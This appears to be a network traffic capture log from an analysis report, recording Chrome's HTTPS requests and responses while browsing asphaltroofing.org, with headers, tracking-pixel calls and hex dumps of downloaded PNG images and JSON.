2024-04-23 14:54:36 UTC	8192	IN	Data Raw: 26 15 e1 fb 2c b2 f4 ef de 07 fb 42 7a 49 9c af b7 39 79 7e f1 2d 91 fb 62 3d ef be 6f f7 48 ba 89 ae 57 03 45 ad fe 3f 41 70 94 44 c9 62 25 87 0d 79 aa 9a 7e a1 98 3f ef 7f 91 0e 59 63 0e fb 56 a6 01 2c 78 c0 50 6c 56 44 50 02 3d 38 ec 76 03 8d 08 08 0e ea a1 b0 c8 b2 cc 62 c0 16 1b 02 2c f1 98 1a 8b b8 7d 22 03 e5 9a 7b 7c 8f 8f 44 1f 19 c3 a5 cd 11 62 9b 98 29 b0 10 4b 8c 4c 30 2c 2c 96 88 2d 4c 26 60 d1 ab 43 85 eb 53 96 05 23 43 86 58 1c ea 10 57 16 23 90 8d 19 51 cc 22 03 f8 82 5c 21 8b 21 8b 60 26 03 62 01 d9 e0 cb e9 81 32 cb f8 b2 08 e8 3e 7e a1 4e 73 2a 26 04 93 25 02 b2 00 04 21 19 c2 c6 60 12 58 58 84 0d c4 0f b6 85 2c 4e a9 f9 62 14 5f 58 38 93 05 08 c0 2c 97 8c c9 88 8c 00 43 88 00 46 26 26 b3 64 90 0d 83 05 33 43 90 99 65 09 62 33 83 2c 26 Data Ascii: &,BzI9y~-b=oHWE?ApDb%y~?YcV,xPlVDP=8vb,}"{\|Db)KL0,,-L&`CS#CXW#Q"\!!`&b2>~Ns*&%!`XX,Nb_X8,CF&&d3Ceb3,&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
335	192.168.2.6	50154	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:37 UTC	994	OUT	GET /wp-content/uploads/2023/07/Digital-Tip-Sheet-Mock-up-1-1-600x600.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/excellence/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:37 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:37 GMT Content-Type: image/png Content-Length: 47111 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 31 Jul 2023 19:13:52 GMT ETag: "6020a8-b807-601cd3b1e1887" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:37 UTC	7675	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 58 00 00 02 58 08 03 00 00 00 89 b8 68 ee 00 00 01 14 50 4c 54 45 47 70 4c 32 34 33 13 13 13 c5 c1 c4 13 13 12 13 14 14 14 14 14 56 55 55 08 07 08 28 29 28 1a 1a 1a 0b 0b 0a 36 36 37 98 98 9d 11 11 11 0d 0d 0d 49 4b 50 0f 0f 0f 2b 2b 2b 1c 1c 1c 06 06 06 10 10 0f 58 58 58 52 52 53 8a 8b 91 3d 40 45 a8 a7 a8 84 85 84 6e 6e 6e 47 47 47 17 14 14 62 62 62 2d 2d 2d 58 58 58 3a 3a 3b 16 13 13 53 53 53 54 54 54 33 15 14 66 1e 16 3c 3c 3d 5e 1f 1a ff ff ff 01 01 01 c4 c6 d2 73 21 16 fe fe fd 65 68 6f 62 65 6c 68 6b 72 60 62 68 fb fc fb 5d 5e 64 f6 f7 f6 c3 c3 c9 b0 af b4 ea e9 e7 f0 f0 ef b7 b7 bb a8 a7 ac bd bd c3 e4 e0 de 32 37 2e 75 2a 22 21 28 22 9f a0 a5 94 5f 58 8d 55 4e 7a 34 2e db d9 d8 87 4a 44 9b Data Ascii: PNGIHDRXXhPLTEGpL243VUU()(667IKP+++XXXRRS=@EnnnGGGbbb---XXX::;SSSTTT3f<<=^s!ehobelhkr`bh]^d27.u*"!("_XUNz4.JD
2024-04-23 14:54:37 UTC	8192	IN	Data Raw: 1e a7 16 42 17 25 ba a5 02 a0 23 45 d8 ee 99 24 e4 79 dc 09 6e 25 19 58 2e 22 8c d2 bf a3 08 26 0f 9c d7 f4 ac db 85 7f db 27 59 2f 32 bf 86 d9 49 d2 eb f9 ed c0 05 25 4b 50 fe 8b 04 9b f5 4a 07 50 0d 78 22 9d 5e d3 6e e9 a3 ca fd 9a b4 82 a8 d7 7e 46 d2 0d ae 3f ba 6a f2 46 a1 3c 6c bf 2f 29 3c 7e a5 e9 08 66 ed 2b 21 d4 72 5a 5d 2e 3f 0e db 06 f1 c8 1b ad 89 ac 37 8a 88 37 a5 36 03 e2 4e 1f 69 0f e8 0c 79 68 02 e6 76 76 cc 48 3c 32 43 11 0d 16 99 a6 b5 45 24 58 08 56 44 af 98 c2 33 db e2 20 76 76 34 be 3f 88 58 bf 10 c9 da 5d 97 62 4d 94 28 01 0c f1 ed 3b d7 4c 6f 45 a5 72 ec 34 3d c9 70 10 74 7c b9 18 14 dd c4 04 37 7c e8 57 db f5 67 fd 32 9b da 0e 3e db ed fe 21 93 8f dc 15 8f 12 f5 c3 57 7c 0c fc 58 36 72 b3 6c a7 97 97 57 7f c6 29 41 8d c8 44 c0 69 Data Ascii: B%#E$yn%X."&'Y/2I%KPJPx"^n~F?jF<l/)<~f+!rZ].?776NiyhvvH<2CE$XVD3 vv4?X]bM(;LoEr4=pt\|7\|Wg2>!W\|X6rlW)ADi
2024-04-23 14:54:37 UTC	8192	IN	Data Raw: 29 b6 49 ef be f6 32 1f 41 fd 47 86 69 6e d0 54 cc 3a 4d 9a 6a 90 1d ef db c1 55 03 30 96 cc c8 c2 e3 94 e9 2c 49 43 cd 0e 3f 36 7a 19 df 67 90 b5 60 7c 57 15 c4 29 dc b8 7f 98 25 cd 8f c6 93 8d 33 b9 c5 3c 88 66 05 c0 70 39 5f 27 e3 44 ad 70 8f ba 11 e8 a6 51 22 7f c0 b5 27 90 fe aa 26 79 34 a8 ef 54 45 48 dc 57 55 e7 4c d8 c9 4e f2 ce ba 41 54 75 df fa 3e 9e bc 1d 44 55 84 51 54 ea 18 73 e4 21 4f 2e 19 df 7f 79 6e c8 5a 34 be 7b a5 a6 a0 be a3 f0 bc 92 d2 2a 8b b5 21 36 d5 d5 71 9f 2a ff d6 cb 42 07 a9 17 38 45 bf 73 3b dc 2f 2a e1 e7 4c c5 1e c0 54 58 fd 91 a2 8f 99 ac 06 0d ff 17 6a d3 fb aa f3 96 b5 b6 d5 94 1e 23 16 30 15 8a 2a 0b f5 5c cc f1 1c b2 9e ba 93 f5 db 39 c8 52 33 b4 c6 d3 41 e1 9d 00 56 5a bb f1 2a 1c 37 11 de 38 80 6a 24 f6 b2 3c 66 d3 Data Ascii: )I2AGinT:MjU0,IC?6zg`\|W)%3<fp9_'DpQ"'&y4TEHWULNATu>DUQTs!O.ynZ4{!6qB8Es;/LTXj#0\9R3AVZ*78j$<f
2024-04-23 14:54:37 UTC	8192	IN	Data Raw: 57 de c9 3a d5 64 7d e4 47 ae 2e 79 76 74 49 b3 1b 5f cd a9 76 db 88 5b 61 c1 3f 1a f6 bc 74 50 ba 87 38 10 dc f3 7e e8 ae 46 d9 56 f1 74 a1 51 ec 77 97 be 39 ac 5e 6b fa 72 ce 10 44 eb 8f a5 4b a3 a8 37 fe 0b 86 de b4 85 8d fb 7e 72 2d 48 14 82 0a 27 e5 ef e8 33 37 e1 fb 04 b2 4e 7f d6 ec f8 b5 9e ee 83 f7 e5 8f fc f1 30 c2 0d 6a 96 a3 0e a7 bf 31 75 2d f6 87 c8 ef 9c c5 02 36 2e 2c ef a6 f4 d0 20 fd f2 e5 ac 09 ad c5 3b 9c fe 7c e2 e1 45 b1 26 30 55 21 c1 00 98 be f0 90 85 70 1a 54 fe ef ef 99 4a 3d 1b 54 4f 69 b2 ae da c2 e1 4f 13 4d d6 d7 ef e9 d4 77 63 7f 59 9c d4 d2 ff 1f 23 21 67 92 41 5d 67 59 32 d9 5d ea 99 8a a1 b0 5a c5 75 c4 e2 5a a6 fb 49 9f b7 4e fd bd 1b a8 73 92 43 55 16 3e 82 4c b1 c6 c1 b4 77 2d 95 3d 55 3d 0c 33 a0 ae e6 40 7d f6 61 33 Data Ascii: W:d}G.yvtI_v[a?tP8~FVtQw9^krDK7~r-H'37N0j1u-6., ;\|E&0U!pTJ=TOiOMwcY#!gA]gY2]ZuZINsCU>Lw-=U=3@}a3
2024-04-23 14:54:38 UTC	8192	IN	Data Raw: cc f7 ce b0 1b c9 9a 5d 9f 7f fa f0 e9 5c c9 ba 7f b5 a5 2f 2b 5d 01 ec 22 33 c4 5d 14 76 b4 6d 23 87 ae 5d c7 20 7c 64 ea 07 a2 64 1d 51 f7 a0 0a 9e c9 a8 9e 53 91 4c 73 03 b4 82 66 bb 11 06 1e e1 79 c4 15 72 24 73 6b 5d 72 bc c3 24 35 c8 45 c0 73 f7 c3 25 92 f5 de 3d 59 df 69 7c 7f 03 4e 75 8e 07 c7 d2 69 84 8b a4 22 6d de ba 0c e6 22 d2 09 54 cc 76 79 14 5e 27 ea 13 df 15 a2 98 ba f0 54 a7 c4 6a 9e 09 13 98 54 64 87 f4 e7 19 d7 28 af 2b 57 61 e2 72 2b 81 e2 dc 02 a0 f6 9e c0 d9 a3 6e 24 6b a1 64 fd b2 54 b2 7e 26 ab 75 69 5e 67 3b e3 3f 02 96 14 bb 90 f6 f9 ce c0 69 78 71 40 b1 7d 1e 7d 7d 08 0b 7c 95 a8 fb 62 d2 53 26 48 29 96 1b a1 05 51 35 ce 6c 6a 1d 80 02 a8 e8 63 64 75 b0 c2 94 b1 2c 4b 1b 0b 65 ca 0d 31 f4 18 cc f6 dc 0c 4d ac d2 b7 76 e1 c2 93 Data Ascii: ]\/+]"3]vm#] \|ddQSLsfyr$sk]r$5Es%=Yi\|Nui"m"Tvy^'TjTd(+War+n$kdT~&ui^g;?ixq@}}}\|bS&H)Q5ljcdu,Ke1Mv
2024-04-23 14:54:38 UTC	6668	IN	Data Raw: ed da ea b3 4d 5f 86 19 e9 95 84 53 d0 52 33 eb 24 24 21 02 fd 97 bc b3 7d 8e da d6 c2 78 62 d6 1b 76 9b bb 64 5f 42 2e 6d 08 69 08 03 73 33 e6 0b d3 32 bc 5d 4d 25 21 21 a2 19 a1 41 fe b0 ff ff 3f d2 73 64 af d7 2f 72 48 ec a5 74 8c 9c ec b4 c3 0e 5f fa eb 73 1e 1d 1d 3d 36 61 a3 4e 84 a2 5c cb 94 13 cb a5 01 4f cf 55 ff dd df 6d a0 ca 05 eb f4 74 51 26 2b af 87 48 17 70 e5 cb e1 fe bd 41 93 85 c7 85 e7 f5 c1 f7 72 00 db ab eb eb 3f 3f 7d 7a ff fe d3 97 cf af ae ff 7a f7 fa e3 eb eb ee 75 b0 08 d2 eb 56 90 08 95 22 a5 68 d4 0d 21 d6 c8 96 b3 1e 92 00 7b f0 35 c1 30 c5 4a 18 a3 48 2f a5 da 78 aa db 40 95 3b ac c9 e9 29 a2 b5 a8 69 96 5f 87 58 0d 0f ef fd 7a 6f d8 64 3d 09 98 ac 72 27 eb 8f 77 5f af bf 7e fe eb dd 97 3f 3f be 7a f3 fa 7d 8f c4 cf ff 65 a1 Data Ascii: M_SR3$$!}xbvd_B.mis32]M%!!A?sd/rHt_s=6aN\OUmtQ&+HpAr??}zzuV"h!{50JH/x@;)i_Xzod=r'w_~??z}e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
336	192.168.2.6	50157	18.160.78.62	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:37 UTC	630	OUT	GET /v1/refresh HTTP/1.1 Host: marco.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: f_id=6627cb818425280008d4a656
2024-04-23 14:54:37 UTC	805	IN	HTTP/1.1 200 OK Content-Type: image/gif Content-Length: 43 Connection: close Date: Tue, 23 Apr 2024 14:54:37 GMT x-amzn-RequestId: 91802779-21b8-4bed-8789-bdd11544b237 Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Content-Type,X-Amz-Date,Authorization,X-Api-Key Set-Cookie: f_id=6627cb818425280008d4a656; Domain=.feathr.co; Path=/; Expires=Wed, 23 Apr 2025 14:54:37 GMT; SameSite=None; Secure; HttpOnly x-amz-apigw-id: WrzDNGErIAMEX9Q= Access-Control-Allow-Methods: * X-Amzn-Trace-Id: Root=1-6627cbad-197605fa7d809f9a37c36065;Parent=66ad9c7276a43299;Sampled=0;lineage=5eb2f403:0 X-Cache: Miss from cloudfront Via: 1.1 59000c13a9de83fe9470b41a5b1ab48a.cloudfront.net (CloudFront) X-Amz-Cf-Pop: ATL59-P2 X-Amz-Cf-Id: hQMl4_jaqwNHqRBpaeTTiDv54cYjYYeR902FwnRVBLaFEWZl9uwmHA==
2024-04-23 14:54:37 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 db df ef 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
337	192.168.2.6	50156	172.67.68.21	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:37 UTC	605	OUT	GET /v1/accounts/603026366fd8bf4e42de107f/integrations HTTP/1.1 Host: polo.feathr.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.asphaltroofing.org Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.asphaltroofing.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-23 14:54:37 UTC	896	IN	HTTP/1.1 200 OK Date: Tue, 23 Apr 2024 14:54:37 GMT Content-Type: application/json Content-Length: 43 Connection: close Access-Control-Allow-Headers: AccountId, Authorization, Cache-Control, Content-Type, DNT, If-Modified-Since, Keep-Alive, Range, ReportObject, ReportType, User-Agent, X-API-Key, X-Requested-With Access-Control-Allow-Methods: DELETE, GET, OPTIONS, PATCH, POST, PUT Access-Control-Allow-Origin: * X-Content-Type-Options: nosniff Access-Control-Allow-Credentials: true CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ccNTuima4b1Cx%2FRc3DjsOEkrGQzeIyV%2F3WFNp5t%2ForC8KVL%2B2yQ0XwHc78FfnRjXbmUqwdfUxHDf%2BiX6OzN4XigLWLxb0uVTUCUlf02Nv9oBs81P5HpyqxzTYB8tbtSC"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 878eb09e6d231d6e-ATL
2024-04-23 14:54:37 UTC	43	IN	Data Raw: 7b 22 69 6e 74 65 67 72 61 74 69 6f 6e 73 22 3a 20 5b 22 74 72 61 64 65 64 65 73 6b 22 2c 20 22 66 61 63 65 62 6f 6f 6b 22 5d 7d Data Ascii: {"integrations": ["tradedesk", "facebook"]}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
338	192.168.2.6	50158	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:37 UTC	704	OUT	GET /?wc-ajax=get_refreshed_fragments HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:37 UTC	538	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:37 GMT Content-Type: application/json; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; X-Content-Type-Options: nosniff X-Robots-Tag: noindex Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Vary: Accept-Encoding X-Sucuri-Cache: HIT
2024-04-23 14:54:37 UTC	936	IN	Data Raw: 33 39 63 0d 0a 7b 22 66 72 61 67 6d 65 6e 74 73 22 3a 7b 22 64 69 76 2e 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 22 3a 22 3c 64 69 76 20 63 6c 61 73 73 3d 5c 22 77 69 64 67 65 74 5f 73 68 6f 70 70 69 6e 67 5f 63 61 72 74 5f 63 6f 6e 74 65 6e 74 5c 22 3e 5c 6e 5c 6e 5c 74 3c 70 20 63 6c 61 73 73 3d 5c 22 77 6f 6f 63 6f 6d 6d 65 72 63 65 2d 6d 69 6e 69 2d 63 61 72 74 5f 5f 65 6d 70 74 79 2d 6d 65 73 73 61 67 65 5c 22 3e 4e 6f 20 70 72 6f 64 75 63 74 73 20 69 6e 20 74 68 65 20 63 61 72 74 2e 3c 5c 2f 70 3e 5c 6e 5c 6e 5c 6e 3c 5c 2f 64 69 76 3e 22 2c 22 73 70 61 6e 2e 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 65 6e 74 22 3a 22 5c 74 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 5c 22 65 73 73 2d 63 61 72 74 2d 63 6f 6e 74 Data Ascii: 39c{"fragments":{"div.widget_shopping_cart_content":"<div class=\"widget_shopping_cart_content\">\n\n\t<p class=\"woocommerce-mini-cart__empty-message\">No products in the cart.<\/p>\n\n\n<\/div>","span.ess-cart-content":"\t <span class=\"ess-cart-cont

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
339	192.168.2.6	50159	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:37 UTC	729	OUT	GET /wp-content/uploads/2023/08/WebCard1_InTheNeighborhood.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:38 UTC	517	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:37 GMT Content-Type: image/png Content-Length: 20639 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Wed, 02 Aug 2023 12:14:22 GMT ETag: "6020c5-509f-601ef9a99aa4d" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: MISS Accept-Ranges: bytes
2024-04-23 14:54:38 UTC	7675	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 03 20 00 00 03 e8 04 03 00 00 00 d4 e5 87 82 00 00 00 2d 50 4c 54 45 52 1b 15 ff ff ff 6b 29 22 6f 24 1c 68 2c 26 51 1e 19 03 03 03 d2 d1 d1 8c 8c 8c 50 50 50 2c 2c 2c af ad ad 82 5b 57 72 70 70 a8 86 83 62 15 de 41 00 00 50 2d 49 44 41 54 78 da ec 9d cf 6f dc 36 16 c7 d5 26 44 51 c4 2d 22 ac 03 a3 b0 e3 c3 78 e6 6e 8c 31 f7 64 e0 41 80 60 11 28 ae 88 05 64 27 7f c3 1a d8 62 0f 6d 0e fd 0f 76 ff 81 3d 45 f7 78 b1 41 2f 45 e1 16 09 7a e9 06 9b 62 83 5e 16 45 5d 24 e8 a1 ff c4 4a a4 a4 21 45 52 3f 29 91 d2 3c 3a 40 9c a1 24 5b fc e4 fb 1e df e3 2f e7 c8 8e 32 9f d8 5b a6 c7 3d 16 a7 f3 96 ae 56 8e 0e 2a 15 00 62 99 42 0e 00 08 28 04 14 02 0a 01 85 80 42 40 21 a0 10 00 02 0a 01 85 00 10 50 08 28 04 80 80 Data Ascii: PNGIHDR -PLTERk)"o$h,&QPPP,,,[WrppbAP-IDATxo6&DQ-"xn1dA`(d'bmv=ExA/Ezb^E]$J!ER?)<:@$[/2[=V*bB(B@!P(
2024-04-23 14:54:38 UTC	8192	IN	Data Raw: 46 86 1f ce 8d 2c cb 70 e1 c6 b8 19 20 85 1b 03 37 8b 2d dc 08 17 48 e5 c6 d9 cd c5 14 6a 0c 4c b1 0f e1 46 c1 ee d3 2c cf 27 3f 24 79 66 bc 23 3b 9b 50 48 06 d6 50 43 93 fc 4b e4 e1 11 7f 3c ad 2f 01 4d 4b be 56 dc a0 a5 27 48 5f 97 e5 9a 3e cd a1 2d c8 e9 e0 8f 21 6f ef b2 0a 5b fd 9b 0a c2 76 0a 8d 75 98 60 05 51 ff 05 a5 9e dc 41 9d 92 aa 7a e7 34 8d 31 48 a4 32 3a a8 43 1f fc 75 5c e0 50 d3 fa 12 32 95 a6 de 3d c8 e3 35 17 73 6c 07 75 57 90 c6 9d ae f1 b0 eb 09 82 b9 38 82 24 ed 41 bd 2d 88 0c ea fe 53 7e 73 41 d6 d6 ec dd 52 5b 89 fd fe 80 e3 99 da 8a 95 6b f6 ce d9 54 aa 7c 07 94 54 46 cd 5e 73 35 cc d4 61 4c 6f 7f 09 f5 46 74 6d ea 79 c3 b4 98 68 ae a6 62 6e 89 20 9c 93 e7 88 ba 2c 08 9a cf 9e d9 eb 09 82 45 12 b3 97 eb a0 d5 bf 99 20 bf e8 ed 4a Data Ascii: F,p 7-HjLF,'?$yf#;PHPCK</MKV'H_>-!o[vu`QAz41H2:Cu\P2=5sluW8$A-S~sAR[kT\|TF^s5aLoFtmyhbn ,E J
2024-04-23 14:54:38 UTC	4772	IN	Data Raw: 88 28 85 82 25 13 68 2b 37 d6 b9 08 2d a2 f9 a7 5c bc c4 df 5c 3a 01 19 71 6b 05 86 d2 de 0d 20 ba ce 9d 15 66 76 5a ba fe bd 78 50 05 72 ec e0 74 a8 23 9d 8b c3 a4 73 71 ba e7 ed 44 b8 55 3a 3b 6e 23 eb 36 0a 64 c0 ee 0c 10 9a fb 5b 67 50 d5 29 10 b5 9a f2 96 4c 10 16 96 40 61 91 3f b5 69 fd 6d 93 8a 97 b4 87 5c d3 f9 41 ea 37 9e bc ec 03 fc 6d 6f af fd cd fc 77 d7 a7 fd 3b 09 76 d3 ee f7 08 e4 c8 c1 e9 50 6c 41 e5 84 58 c5 ee f7 69 73 90 ed b8 fb bd 74 76 52 e7 f1 36 0a a4 19 6d 48 88 b5 6a 4b 82 b3 82 f1 16 dd 02 f9 8a 97 37 4d b9 d8 5c d6 42 a6 02 f9 6c 20 97 95 2b 54 20 9f 0d a4 a9 40 2a 90 0a a4 02 a9 40 2a 90 ab 58 2a 90 0a a4 2e 15 48 05 52 97 0a a4 02 79 dd f2 4a d7 86 6c c9 c6 6e 67 e3 9c ce 19 1a 38 bc 7b cd d6 5f 62 ae 9c 2e 81 84 b7 ce 5f 10 Data Ascii: (%h+7-\\:qk fvZxPrt#sqDU:;n#6d[gP)L@a?im\A7mow;vPlAXistvR6mHjK7M\Bl +T @@X*.HRyJlng8{_b._

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
340	192.168.2.6	50163	192.124.249.102	443	4180	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 14:54:37 UTC	762	OUT	GET /wp-content/uploads/2023/07/button_click-here-to-view-armas-submission-tip-sheet-600x52.png HTTP/1.1 Host: www.asphaltroofing.org Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.1.25628076.1713884020; feathr_session_id=6627cb7c5c51a2698cf29ddb; _tccl_visitor=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _tccl_visit=f88fc3aa-100e-4cfc-bec1-5c4af53a6798; _fbp=fb.1.1713884037978.840489946; _ga_YHMWY88VCL=GS1.1.1713884019.1.1.1713884073.0.0.0; _scc_session=pc=6&C_TOUCH=2024-04-23T14:54:34.086Z
2024-04-23 14:54:37 UTC	514	IN	HTTP/1.1 200 OK Server: Sucuri/Cloudproxy Date: Tue, 23 Apr 2024 14:54:37 GMT Content-Type: image/png Content-Length: 3027 Connection: close X-Sucuri-ID: 14002 X-XSS-Protection: 1; mode=block X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Content-Security-Policy: upgrade-insecure-requests; Last-Modified: Mon, 31 Jul 2023 14:44:21 GMT ETag: "60207c-bd3-601c97743d581" Expires: Thu, 31 Dec 2037 23:55:55 GMT Cache-Control: max-age=315360000 X-Sucuri-Cache: HIT Accept-Ranges: bytes
2024-04-23 14:54:37 UTC	3027	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 02 58 00 00 00 34 08 03 00 00 00 61 11 b6 e6 00 00 00 3f 50 4c 54 45 df cc ca a2 6c 65 95 58 50 8c 49 40 ff ff ff f9 f5 f4 f1 e8 e7 e8 db d9 e0 ce cc d6 be ba cd b0 ac c3 a1 9c ba 92 8d b1 84 7e a9 77 70 a0 69 61 95 57 4f 8a 45 3c 82 39 2f 7a 2d 22 73 22 17 51 94 7e 2d 00 00 00 04 74 52 4e 53 02 2c 62 bd ca d6 d7 81 00 00 0b 3f 49 44 41 54 78 da ed 9d d9 6e 24 b7 0e 40 3d b6 a8 7d 57 fd ff b7 5e 90 d4 56 76 cd 8c 03 b4 93 fb 20 22 41 d4 ad 2a 2d e4 11 45 4a 46 fa ed ed ed ed ed d7 fb 47 bd 8e 1c 79 81 d4 8f f7 5f 6f 5d de 3f 8e 3e 8e bc 4e 3e de 3b 57 c7 5b 1d 79 ad d7 7a 3f 5c 1d f9 29 b2 7e 9d 7d f0 c8 eb 77 c3 5f 6f ef 47 0b 47 5e 2e ed fd ed 38 ac 23 3f e1 b2 de 4e 84 75 e4 47 c0 6a 47 09 47 7e 40 Data Ascii: PNGIHDRX4a?PLTEleXPI@~wpiaWOE<9/z-"s"Q~-tRNS,b?IDATxn$@=}W^Vv 